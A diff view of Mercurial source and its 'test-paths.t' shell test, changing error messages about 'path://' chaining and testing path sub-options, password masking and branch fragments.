572 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
573 return None
573 return None
574
574
575 # Don't support the #foo syntax in the push URL to declare branch to
575 # Don't support the #foo syntax in the push URL to declare branch to
576 # push.
576 # push.
577 if u.fragment:
577 if u.fragment:
578 ui.warn(
578 ui.warn(
579 _(
579 _(
580 b'("#fragment" in paths.%s:pushurl not supported; '
580 b'("#fragment" in paths.%s:pushurl not supported; '
581 b'ignoring)\n'
581 b'ignoring)\n'
582 )
582 )
583 % path.name
583 % path.name
584 )
584 )
585 u.fragment = None
585 u.fragment = None
586
586
587 return bytes(u)
587 return bytes(u)
588
588
589
589
590 @pathsuboption(b'pushrev', b'pushrev')
590 @pathsuboption(b'pushrev', b'pushrev')
591 def pushrevpathoption(ui, path, value):
591 def pushrevpathoption(ui, path, value):
592 return value
592 return value
593
593
594
594
595 class path(object):
595 class path(object):
596 """Represents an individual path and its configuration."""
596 """Represents an individual path and its configuration."""
597
597
598 def __init__(self, ui, name, rawloc=None, suboptions=None):
598 def __init__(self, ui, name, rawloc=None, suboptions=None):
599 """Construct a path from its config options.
599 """Construct a path from its config options.
600
600
601 ``ui`` is the ``ui`` instance the path is coming from.
601 ``ui`` is the ``ui`` instance the path is coming from.
602 ``name`` is the symbolic name of the path.
602 ``name`` is the symbolic name of the path.
603 ``rawloc`` is the raw location, as defined in the config.
603 ``rawloc`` is the raw location, as defined in the config.
604 ``pushloc`` is the raw locations pushes should be made to.
604 ``pushloc`` is the raw locations pushes should be made to.
605
605
606 If ``name`` is not defined, we require that the location be a) a local
606 If ``name`` is not defined, we require that the location be a) a local
607 filesystem path with a .hg directory or b) a URL. If not,
607 filesystem path with a .hg directory or b) a URL. If not,
608 ``ValueError`` is raised.
608 ``ValueError`` is raised.
609 """
609 """
610 if not rawloc:
610 if not rawloc:
611 raise ValueError(b'rawloc must be defined')
611 raise ValueError(b'rawloc must be defined')
612
612
613 # Locations may define branches via syntax <base>#<branch>.
613 # Locations may define branches via syntax <base>#<branch>.
614 u = url(rawloc)
614 u = url(rawloc)
615 branch = None
615 branch = None
616 if u.fragment:
616 if u.fragment:
617 branch = u.fragment
617 branch = u.fragment
618 u.fragment = None
618 u.fragment = None
619
619
620 self.url = u
620 self.url = u
621 # the url from the config/command line before dealing with `path://`
621 # the url from the config/command line before dealing with `path://`
622 self.raw_url = u.copy()
622 self.raw_url = u.copy()
623 self.branch = branch
623 self.branch = branch
624
624
625 self.name = name
625 self.name = name
626 self.rawloc = rawloc
626 self.rawloc = rawloc
627 self.loc = b'%s' % u
627 self.loc = b'%s' % u
628
628
629 self._validate_path()
629 self._validate_path()
630
630
631 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
631 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
632 self._own_sub_opts = {}
632 self._own_sub_opts = {}
633 if suboptions is not None:
633 if suboptions is not None:
634 self._own_sub_opts = suboptions.copy()
634 self._own_sub_opts = suboptions.copy()
635 sub_opts.update(suboptions)
635 sub_opts.update(suboptions)
636 self._all_sub_opts = sub_opts.copy()
636 self._all_sub_opts = sub_opts.copy()
637
637
638 self._apply_suboptions(ui, sub_opts)
638 self._apply_suboptions(ui, sub_opts)
639
639
640 def chain_path(self, ui, paths):
640 def chain_path(self, ui, paths):
641 if self.url.scheme == b'path':
641 if self.url.scheme == b'path':
642 assert self.url.path is None
642 assert self.url.path is None
643 try:
643 try:
644 subpath = paths[self.url.host]
644 subpath = paths[self.url.host]
645 except KeyError:
645 except KeyError:
646 m = _('cannot use `%s`, "%s" is not a known path')
646 m = _(b'cannot use `%s`, "%s" is not a known path')
647 m %= (self.rawloc, self.url.host)
647 m %= (self.rawloc, self.url.host)
648 raise error.Abort(m)
648 raise error.Abort(m)
649 if subpath.raw_url.scheme == b'path':
649 if subpath.raw_url.scheme == b'path':
650 m = _('cannot use `%s`, "%s" is also define as a `path://`')
650 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
651 m %= (self.rawloc, self.url.host)
651 m %= (self.rawloc, self.url.host)
652 raise error.Abort(m)
652 raise error.Abort(m)
653 self.url = subpath.url
653 self.url = subpath.url
654 self.rawloc = subpath.rawloc
654 self.rawloc = subpath.rawloc
655 self.loc = subpath.loc
655 self.loc = subpath.loc
656 if self.branch is None:
656 if self.branch is None:
657 self.branch = subpath.branch
657 self.branch = subpath.branch
658 else:
658 else:
659 base = self.rawloc.rsplit(b'#', 1)[0]
659 base = self.rawloc.rsplit(b'#', 1)[0]
660 self.rawloc = b'%s#%s' % (base, self.branch)
660 self.rawloc = b'%s#%s' % (base, self.branch)
661 suboptions = subpath._all_sub_opts.copy()
661 suboptions = subpath._all_sub_opts.copy()
662 suboptions.update(self._own_sub_opts)
662 suboptions.update(self._own_sub_opts)
663 self._apply_suboptions(ui, suboptions)
663 self._apply_suboptions(ui, suboptions)
664
664
665 def _validate_path(self):
665 def _validate_path(self):
666 # When given a raw location but not a symbolic name, validate the
666 # When given a raw location but not a symbolic name, validate the
667 # location is valid.
667 # location is valid.
668 if (
668 if (
669 not self.name
669 not self.name
670 and not self.url.scheme
670 and not self.url.scheme
671 and not self._isvalidlocalpath(self.loc)
671 and not self._isvalidlocalpath(self.loc)
672 ):
672 ):
673 raise ValueError(
673 raise ValueError(
674 b'location is not a URL or path to a local '
674 b'location is not a URL or path to a local '
675 b'repo: %s' % self.rawloc
675 b'repo: %s' % self.rawloc
676 )
676 )
677
677
678 def _apply_suboptions(self, ui, sub_options):
678 def _apply_suboptions(self, ui, sub_options):
679 # Now process the sub-options. If a sub-option is registered, its
679 # Now process the sub-options. If a sub-option is registered, its
680 # attribute will always be present. The value will be None if there
680 # attribute will always be present. The value will be None if there
681 # was no valid sub-option.
681 # was no valid sub-option.
682 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
682 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
683 if suboption not in sub_options:
683 if suboption not in sub_options:
684 setattr(self, attr, None)
684 setattr(self, attr, None)
685 continue
685 continue
686
686
687 value = func(ui, self, sub_options[suboption])
687 value = func(ui, self, sub_options[suboption])
688 setattr(self, attr, value)
688 setattr(self, attr, value)
689
689
690 def _isvalidlocalpath(self, path):
690 def _isvalidlocalpath(self, path):
691 """Returns True if the given path is a potentially valid repository.
691 """Returns True if the given path is a potentially valid repository.
692 This is its own function so that extensions can change the definition of
692 This is its own function so that extensions can change the definition of
693 'valid' in this case (like when pulling from a git repo into a hg
693 'valid' in this case (like when pulling from a git repo into a hg
694 one)."""
694 one)."""
695 try:
695 try:
696 return os.path.isdir(os.path.join(path, b'.hg'))
696 return os.path.isdir(os.path.join(path, b'.hg'))
697 # Python 2 may return TypeError. Python 3, ValueError.
697 # Python 2 may return TypeError. Python 3, ValueError.
698 except (TypeError, ValueError):
698 except (TypeError, ValueError):
699 return False
699 return False
700
700
701 @property
701 @property
702 def suboptions(self):
702 def suboptions(self):
703 """Return sub-options and their values for this path.
703 """Return sub-options and their values for this path.
704
704
705 This is intended to be used for presentation purposes.
705 This is intended to be used for presentation purposes.
706 """
706 """
707 d = {}
707 d = {}
708 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
708 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
709 value = getattr(self, attr)
709 value = getattr(self, attr)
710 if value is not None:
710 if value is not None:
711 d[subopt] = value
711 d[subopt] = value
712 return d
712 return d
@@ -1,387 +1,387 b''
1 $ hg init a
1 $ hg init a
2 $ hg clone a b
2 $ hg clone a b
3 updating to branch default
3 updating to branch default
4 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
4 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
5 $ cd a
5 $ cd a
6
6
7 with no paths:
7 with no paths:
8
8
9 $ hg paths
9 $ hg paths
10 $ hg paths unknown
10 $ hg paths unknown
11 not found!
11 not found!
12 [1]
12 [1]
13 $ hg paths -Tjson
13 $ hg paths -Tjson
14 [
14 [
15 ]
15 ]
16
16
17 with paths:
17 with paths:
18
18
19 $ echo '[paths]' >> .hg/hgrc
19 $ echo '[paths]' >> .hg/hgrc
20 $ echo 'dupe = ../b#tip' >> .hg/hgrc
20 $ echo 'dupe = ../b#tip' >> .hg/hgrc
21 $ echo 'expand = $SOMETHING/bar' >> .hg/hgrc
21 $ echo 'expand = $SOMETHING/bar' >> .hg/hgrc
22 $ hg in dupe
22 $ hg in dupe
23 comparing with $TESTTMP/b
23 comparing with $TESTTMP/b
24 no changes found
24 no changes found
25 [1]
25 [1]
26 $ cd ..
26 $ cd ..
27 $ hg -R a in dupe
27 $ hg -R a in dupe
28 comparing with $TESTTMP/b
28 comparing with $TESTTMP/b
29 no changes found
29 no changes found
30 [1]
30 [1]
31 $ cd a
31 $ cd a
32 $ hg paths
32 $ hg paths
33 dupe = $TESTTMP/b#tip
33 dupe = $TESTTMP/b#tip
34 expand = $TESTTMP/a/$SOMETHING/bar
34 expand = $TESTTMP/a/$SOMETHING/bar
35 $ SOMETHING=foo hg paths
35 $ SOMETHING=foo hg paths
36 dupe = $TESTTMP/b#tip
36 dupe = $TESTTMP/b#tip
37 expand = $TESTTMP/a/foo/bar
37 expand = $TESTTMP/a/foo/bar
38 #if msys
38 #if msys
39 $ SOMETHING=//foo hg paths
39 $ SOMETHING=//foo hg paths
40 dupe = $TESTTMP/b#tip
40 dupe = $TESTTMP/b#tip
41 expand = /foo/bar
41 expand = /foo/bar
42 #else
42 #else
43 $ SOMETHING=/foo hg paths
43 $ SOMETHING=/foo hg paths
44 dupe = $TESTTMP/b#tip
44 dupe = $TESTTMP/b#tip
45 expand = /foo/bar
45 expand = /foo/bar
46 #endif
46 #endif
47 $ hg paths -q
47 $ hg paths -q
48 dupe
48 dupe
49 expand
49 expand
50 $ hg paths dupe
50 $ hg paths dupe
51 $TESTTMP/b#tip
51 $TESTTMP/b#tip
52 $ hg paths -q dupe
52 $ hg paths -q dupe
53 $ hg paths unknown
53 $ hg paths unknown
54 not found!
54 not found!
55 [1]
55 [1]
56 $ hg paths -q unknown
56 $ hg paths -q unknown
57 [1]
57 [1]
58
58
59 formatter output with paths:
59 formatter output with paths:
60
60
61 $ echo 'dupe:pushurl = https://example.com/dupe' >> .hg/hgrc
61 $ echo 'dupe:pushurl = https://example.com/dupe' >> .hg/hgrc
62 $ hg paths -Tjson | sed 's|\\\\|\\|g'
62 $ hg paths -Tjson | sed 's|\\\\|\\|g'
63 [
63 [
64 {
64 {
65 "name": "dupe",
65 "name": "dupe",
66 "pushurl": "https://example.com/dupe",
66 "pushurl": "https://example.com/dupe",
67 "url": "$TESTTMP/b#tip"
67 "url": "$TESTTMP/b#tip"
68 },
68 },
69 {
69 {
70 "name": "expand",
70 "name": "expand",
71 "url": "$TESTTMP/a/$SOMETHING/bar"
71 "url": "$TESTTMP/a/$SOMETHING/bar"
72 }
72 }
73 ]
73 ]
74 $ hg paths -Tjson dupe | sed 's|\\\\|\\|g'
74 $ hg paths -Tjson dupe | sed 's|\\\\|\\|g'
75 [
75 [
76 {
76 {
77 "name": "dupe",
77 "name": "dupe",
78 "pushurl": "https://example.com/dupe",
78 "pushurl": "https://example.com/dupe",
79 "url": "$TESTTMP/b#tip"
79 "url": "$TESTTMP/b#tip"
80 }
80 }
81 ]
81 ]
82 $ hg paths -Tjson -q unknown
82 $ hg paths -Tjson -q unknown
83 [
83 [
84 ]
84 ]
85 [1]
85 [1]
86
86
87 log template:
87 log template:
88
88
89 (behaves as a {name: path-string} dict by default)
89 (behaves as a {name: path-string} dict by default)
90
90
91 $ hg log -rnull -T '{peerurls}\n'
91 $ hg log -rnull -T '{peerurls}\n'
92 dupe=$TESTTMP/b#tip expand=$TESTTMP/a/$SOMETHING/bar
92 dupe=$TESTTMP/b#tip expand=$TESTTMP/a/$SOMETHING/bar
93 $ hg log -rnull -T '{join(peerurls, "\n")}\n'
93 $ hg log -rnull -T '{join(peerurls, "\n")}\n'
94 dupe=$TESTTMP/b#tip
94 dupe=$TESTTMP/b#tip
95 expand=$TESTTMP/a/$SOMETHING/bar
95 expand=$TESTTMP/a/$SOMETHING/bar
96 $ hg log -rnull -T '{peerurls % "{name}: {url}\n"}'
96 $ hg log -rnull -T '{peerurls % "{name}: {url}\n"}'
97 dupe: $TESTTMP/b#tip
97 dupe: $TESTTMP/b#tip
98 expand: $TESTTMP/a/$SOMETHING/bar
98 expand: $TESTTMP/a/$SOMETHING/bar
99 $ hg log -rnull -T '{get(peerurls, "dupe")}\n'
99 $ hg log -rnull -T '{get(peerurls, "dupe")}\n'
100 $TESTTMP/b#tip
100 $TESTTMP/b#tip
101
101
102 (sub options can be populated by map/dot operation)
102 (sub options can be populated by map/dot operation)
103
103
104 $ hg log -rnull \
104 $ hg log -rnull \
105 > -T '{get(peerurls, "dupe") % "url: {url}\npushurl: {pushurl}\n"}'
105 > -T '{get(peerurls, "dupe") % "url: {url}\npushurl: {pushurl}\n"}'
106 url: $TESTTMP/b#tip
106 url: $TESTTMP/b#tip
107 pushurl: https://example.com/dupe
107 pushurl: https://example.com/dupe
108 $ hg log -rnull -T '{peerurls.dupe.pushurl}\n'
108 $ hg log -rnull -T '{peerurls.dupe.pushurl}\n'
109 https://example.com/dupe
109 https://example.com/dupe
110
110
111 (in JSON, it's a dict of urls)
111 (in JSON, it's a dict of urls)
112
112
113 $ hg log -rnull -T '{peerurls|json}\n' | sed 's|\\\\|/|g'
113 $ hg log -rnull -T '{peerurls|json}\n' | sed 's|\\\\|/|g'
114 {"dupe": "$TESTTMP/b#tip", "expand": "$TESTTMP/a/$SOMETHING/bar"}
114 {"dupe": "$TESTTMP/b#tip", "expand": "$TESTTMP/a/$SOMETHING/bar"}
115
115
116 password should be masked in plain output, but not in machine-readable/template
116 password should be masked in plain output, but not in machine-readable/template
117 output:
117 output:
118
118
119 $ echo 'insecure = http://foo:insecure@example.com/' >> .hg/hgrc
119 $ echo 'insecure = http://foo:insecure@example.com/' >> .hg/hgrc
120 $ hg paths insecure
120 $ hg paths insecure
121 http://foo:***@example.com/
121 http://foo:***@example.com/
122 $ hg paths -Tjson insecure
122 $ hg paths -Tjson insecure
123 [
123 [
124 {
124 {
125 "name": "insecure",
125 "name": "insecure",
126 "url": "http://foo:insecure@example.com/"
126 "url": "http://foo:insecure@example.com/"
127 }
127 }
128 ]
128 ]
129 $ hg log -rnull -T '{get(peerurls, "insecure")}\n'
129 $ hg log -rnull -T '{get(peerurls, "insecure")}\n'
130 http://foo:insecure@example.com/
130 http://foo:insecure@example.com/
131
131
132 zeroconf wraps ui.configitems(), which shouldn't crash at least:
132 zeroconf wraps ui.configitems(), which shouldn't crash at least:
133
133
134 $ hg paths --config extensions.zeroconf=
134 $ hg paths --config extensions.zeroconf=
135 dupe = $TESTTMP/b#tip
135 dupe = $TESTTMP/b#tip
136 dupe:pushurl = https://example.com/dupe
136 dupe:pushurl = https://example.com/dupe
137 expand = $TESTTMP/a/$SOMETHING/bar
137 expand = $TESTTMP/a/$SOMETHING/bar
138 insecure = http://foo:***@example.com/
138 insecure = http://foo:***@example.com/
139
139
140 $ cd ..
140 $ cd ..
141
141
142 sub-options for an undeclared path are ignored
142 sub-options for an undeclared path are ignored
143
143
144 $ hg init suboptions
144 $ hg init suboptions
145 $ cd suboptions
145 $ cd suboptions
146
146
147 $ cat > .hg/hgrc << EOF
147 $ cat > .hg/hgrc << EOF
148 > [paths]
148 > [paths]
149 > path0 = https://example.com/path0
149 > path0 = https://example.com/path0
150 > path1:pushurl = https://example.com/path1
150 > path1:pushurl = https://example.com/path1
151 > EOF
151 > EOF
152 $ hg paths
152 $ hg paths
153 path0 = https://example.com/path0
153 path0 = https://example.com/path0
154
154
155 unknown sub-options aren't displayed
155 unknown sub-options aren't displayed
156
156
157 $ cat > .hg/hgrc << EOF
157 $ cat > .hg/hgrc << EOF
158 > [paths]
158 > [paths]
159 > path0 = https://example.com/path0
159 > path0 = https://example.com/path0
160 > path0:foo = https://example.com/path1
160 > path0:foo = https://example.com/path1
161 > EOF
161 > EOF
162
162
163 $ hg paths
163 $ hg paths
164 path0 = https://example.com/path0
164 path0 = https://example.com/path0
165
165
166 :pushurl must be a URL
166 :pushurl must be a URL
167
167
168 $ cat > .hg/hgrc << EOF
168 $ cat > .hg/hgrc << EOF
169 > [paths]
169 > [paths]
170 > default = /path/to/nothing
170 > default = /path/to/nothing
171 > default:pushurl = /not/a/url
171 > default:pushurl = /not/a/url
172 > EOF
172 > EOF
173
173
174 $ hg paths
174 $ hg paths
175 (paths.default:pushurl not a URL; ignoring)
175 (paths.default:pushurl not a URL; ignoring)
176 default = /path/to/nothing
176 default = /path/to/nothing
177
177
178 #fragment is not allowed in :pushurl
178 #fragment is not allowed in :pushurl
179
179
180 $ cat > .hg/hgrc << EOF
180 $ cat > .hg/hgrc << EOF
181 > [paths]
181 > [paths]
182 > default = https://example.com/repo
182 > default = https://example.com/repo
183 > invalid = https://example.com/repo
183 > invalid = https://example.com/repo
184 > invalid:pushurl = https://example.com/repo#branch
184 > invalid:pushurl = https://example.com/repo#branch
185 > EOF
185 > EOF
186
186
187 $ hg paths
187 $ hg paths
188 ("#fragment" in paths.invalid:pushurl not supported; ignoring)
188 ("#fragment" in paths.invalid:pushurl not supported; ignoring)
189 default = https://example.com/repo
189 default = https://example.com/repo
190 invalid = https://example.com/repo
190 invalid = https://example.com/repo
191 invalid:pushurl = https://example.com/repo
191 invalid:pushurl = https://example.com/repo
192
192
193 $ cd ..
193 $ cd ..
194
194
195 'file:' disables [paths] entries for clone destination
195 'file:' disables [paths] entries for clone destination
196
196
197 $ cat >> $HGRCPATH <<EOF
197 $ cat >> $HGRCPATH <<EOF
198 > [paths]
198 > [paths]
199 > gpath1 = http://hg.example.com
199 > gpath1 = http://hg.example.com
200 > EOF
200 > EOF
201
201
202 $ hg clone a gpath1
202 $ hg clone a gpath1
203 abort: cannot create new http repository
203 abort: cannot create new http repository
204 [255]
204 [255]
205
205
206 $ hg clone a file:gpath1
206 $ hg clone a file:gpath1
207 updating to branch default
207 updating to branch default
208 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
208 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
209 $ cd gpath1
209 $ cd gpath1
210 $ hg -q id
210 $ hg -q id
211 000000000000
211 000000000000
212
212
213 $ cd ..
213 $ cd ..
214
214
215 Testing path referencing other paths
215 Testing path referencing other paths
216 ====================================
216 ====================================
217
217
218 basic setup
218 basic setup
219 -----------
219 -----------
220
220
221 $ ls -1
221 $ ls -1
222 a
222 a
223 b
223 b
224 gpath1
224 gpath1
225 suboptions
225 suboptions
226 $ hg init chained_path
226 $ hg init chained_path
227 $ cd chained_path
227 $ cd chained_path
228 $ cat << EOF > .hg/hgrc
228 $ cat << EOF > .hg/hgrc
229 > [paths]
229 > [paths]
230 > default=../a
230 > default=../a
231 > other_default=path://default
231 > other_default=path://default
232 > path_with_branch=../branchy#foo
232 > path_with_branch=../branchy#foo
233 > other_branch=path://path_with_branch
233 > other_branch=path://path_with_branch
234 > other_branched=path://path_with_branch#default
234 > other_branched=path://path_with_branch#default
235 > pushdest=../push-dest
235 > pushdest=../push-dest
236 > pushdest:pushrev=default
236 > pushdest:pushrev=default
237 > pushdest2=path://pushdest
237 > pushdest2=path://pushdest
238 > pushdest-overwrite=path://pushdest
238 > pushdest-overwrite=path://pushdest
239 > pushdest-overwrite:pushrev=foo
239 > pushdest-overwrite:pushrev=foo
240 > EOF
240 > EOF
241
241
242 $ hg init ../branchy
242 $ hg init ../branchy
243 $ hg init ../push-dest
243 $ hg init ../push-dest
244 $ hg debugbuilddag -R ../branchy '.:base+3<base@foo+5'
244 $ hg debugbuilddag -R ../branchy '.:base+3<base@foo+5'
245 $ hg log -G -T '{branch}\n' -R ../branchy
245 $ hg log -G -T '{branch}\n' -R ../branchy
246 o foo
246 o foo
247 |
247 |
248 o foo
248 o foo
249 |
249 |
250 o foo
250 o foo
251 |
251 |
252 o foo
252 o foo
253 |
253 |
254 o foo
254 o foo
255 |
255 |
256 | o default
256 | o default
257 | |
257 | |
258 | o default
258 | o default
259 | |
259 | |
260 | o default
260 | o default
261 |/
261 |/
262 o default
262 o default
263
263
264
264
265 $ hg paths
265 $ hg paths
266 default = $TESTTMP/a
266 default = $TESTTMP/a
267 gpath1 = http://hg.example.com/
267 gpath1 = http://hg.example.com/
268 other_branch = $TESTTMP/branchy#foo
268 other_branch = $TESTTMP/branchy#foo
269 other_branched = $TESTTMP/branchy#default
269 other_branched = $TESTTMP/branchy#default
270 other_default = $TESTTMP/a
270 other_default = $TESTTMP/a
271 path_with_branch = $TESTTMP/branchy#foo
271 path_with_branch = $TESTTMP/branchy#foo
272 pushdest = $TESTTMP/push-dest
272 pushdest = $TESTTMP/push-dest
273 pushdest:pushrev = default
273 pushdest:pushrev = default
274 pushdest-overwrite = $TESTTMP/push-dest
274 pushdest-overwrite = $TESTTMP/push-dest
275 pushdest-overwrite:pushrev = foo
275 pushdest-overwrite:pushrev = foo
276 pushdest2 = $TESTTMP/push-dest
276 pushdest2 = $TESTTMP/push-dest
277 pushdest2:pushrev = default
277 pushdest2:pushrev = default
278
278
279 test basic chaining
279 test basic chaining
280 -------------------
280 -------------------
281
281
282 $ hg path other_default
282 $ hg path other_default
283 $TESTTMP/a
283 $TESTTMP/a
284 $ hg pull default
284 $ hg pull default
285 pulling from $TESTTMP/a
285 pulling from $TESTTMP/a
286 no changes found
286 no changes found
287 $ hg pull other_default
287 $ hg pull other_default
288 pulling from $TESTTMP/a
288 pulling from $TESTTMP/a
289 no changes found
289 no changes found
290
290
291 test inheritance of the #fragment part
291 test inheritance of the #fragment part
292 --------------------------------------
292 --------------------------------------
293
293
294 $ hg pull path_with_branch
294 $ hg pull path_with_branch
295 pulling from $TESTTMP/branchy
295 pulling from $TESTTMP/branchy
296 adding changesets
296 adding changesets
297 adding manifests
297 adding manifests
298 adding file changes
298 adding file changes
299 added 6 changesets with 0 changes to 0 files
299 added 6 changesets with 0 changes to 0 files
300 new changesets 1ea73414a91b:bcebb50b77de
300 new changesets 1ea73414a91b:bcebb50b77de
301 (run 'hg update' to get a working copy)
301 (run 'hg update' to get a working copy)
302 $ hg pull other_branch
302 $ hg pull other_branch
303 pulling from $TESTTMP/branchy
303 pulling from $TESTTMP/branchy
304 no changes found
304 no changes found
305 $ hg pull other_branched
305 $ hg pull other_branched
306 pulling from $TESTTMP/branchy
306 pulling from $TESTTMP/branchy
307 searching for changes
307 searching for changes
308 adding changesets
308 adding changesets
309 adding manifests
309 adding manifests
310 adding file changes
310 adding file changes
311 added 3 changesets with 0 changes to 0 files (+1 heads)
311 added 3 changesets with 0 changes to 0 files (+1 heads)
312 new changesets 66f7d451a68b:2dc09a01254d
312 new changesets 66f7d451a68b:2dc09a01254d
313 (run 'hg heads' to see heads)
313 (run 'hg heads' to see heads)
314
314
315 test inheritance of the suboptions
315 test inheritance of the suboptions
316 ----------------------------------
316 ----------------------------------
317
317
318 $ hg push pushdest
318 $ hg push pushdest
319 pushing to $TESTTMP/push-dest
319 pushing to $TESTTMP/push-dest
320 searching for changes
320 searching for changes
321 adding changesets
321 adding changesets
322 adding manifests
322 adding manifests
323 adding file changes
323 adding file changes
324 added 4 changesets with 0 changes to 0 files
324 added 4 changesets with 0 changes to 0 files
325 $ hg push pushdest2
325 $ hg push pushdest2
326 pushing to $TESTTMP/push-dest
326 pushing to $TESTTMP/push-dest
327 searching for changes
327 searching for changes
328 no changes found
328 no changes found
329 [1]
329 [1]
330 $ hg push pushdest-overwrite --new-branch
330 $ hg push pushdest-overwrite --new-branch
331 pushing to $TESTTMP/push-dest
331 pushing to $TESTTMP/push-dest
332 searching for changes
332 searching for changes
333 adding changesets
333 adding changesets
334 adding manifests
334 adding manifests
335 adding file changes
335 adding file changes
336 added 5 changesets with 0 changes to 0 files (+1 heads)
336 added 5 changesets with 0 changes to 0 files (+1 heads)
337
337
338 Test chaining path:// definition
338 Test chaining path:// definition
339 --------------------------------
339 --------------------------------
340
340
341 This is currently unsupported, but feel free to implement the necessary
341 This is currently unsupported, but feel free to implement the necessary
342 dependency detection.
342 dependency detection.
343
343
344 $ cat << EOF >> .hg/hgrc
344 $ cat << EOF >> .hg/hgrc
345 > chain_path=path://other_default
345 > chain_path=path://other_default
346 > EOF
346 > EOF
347
347
348 $ hg id
348 $ hg id
349 000000000000
349 000000000000
350 $ hg path
350 $ hg path
351 abort: cannot use `path://other_default`, "other_default" is also define as a `path://`
351 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
352 [255]
352 [255]
353 $ hg pull chain_path
353 $ hg pull chain_path
354 abort: cannot use `path://other_default`, "other_default" is also define as a `path://`
354 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
355 [255]
355 [255]
356
356
357 Doing an actual circle should always be an issue
357 Doing an actual circle should always be an issue
358
358
359 $ cat << EOF >> .hg/hgrc
359 $ cat << EOF >> .hg/hgrc
360 > rock=path://cissors
360 > rock=path://cissors
361 > cissors=path://paper
361 > cissors=path://paper
362 > paper=://rock
362 > paper=://rock
363 > EOF
363 > EOF
364
364
365 $ hg id
365 $ hg id
366 000000000000
366 000000000000
367 $ hg path
367 $ hg path
368 abort: cannot use `path://other_default`, "other_default" is also define as a `path://`
368 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
369 [255]
369 [255]
370 $ hg pull chain_path
370 $ hg pull chain_path
371 abort: cannot use `path://other_default`, "other_default" is also define as a `path://`
371 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
372 [255]
372 [255]
373
373
374 Test basic error cases
374 Test basic error cases
375 ----------------------
375 ----------------------
376
376
377 $ cat << EOF > .hg/hgrc
377 $ cat << EOF > .hg/hgrc
378 > [paths]
378 > [paths]
379 > error-missing=path://unknown
379 > error-missing=path://unknown
380 > EOF
380 > EOF
381 $ hg path
381 $ hg path
382 abort: cannot use `path://unknown`, "unknown" is not a known path
382 abort: cannot use `path://unknown`, "unknown" is not a known path
383 [255]
383 [255]
384 $ hg pull error-missing
384 $ hg pull error-missing
385 abort: cannot use `path://unknown`, "unknown" is not a known path
385 abort: cannot use `path://unknown`, "unknown" is not a known path
386 [255]
386 [255]
387
387
General Comments 0
You need to be logged in to leave comments. Login now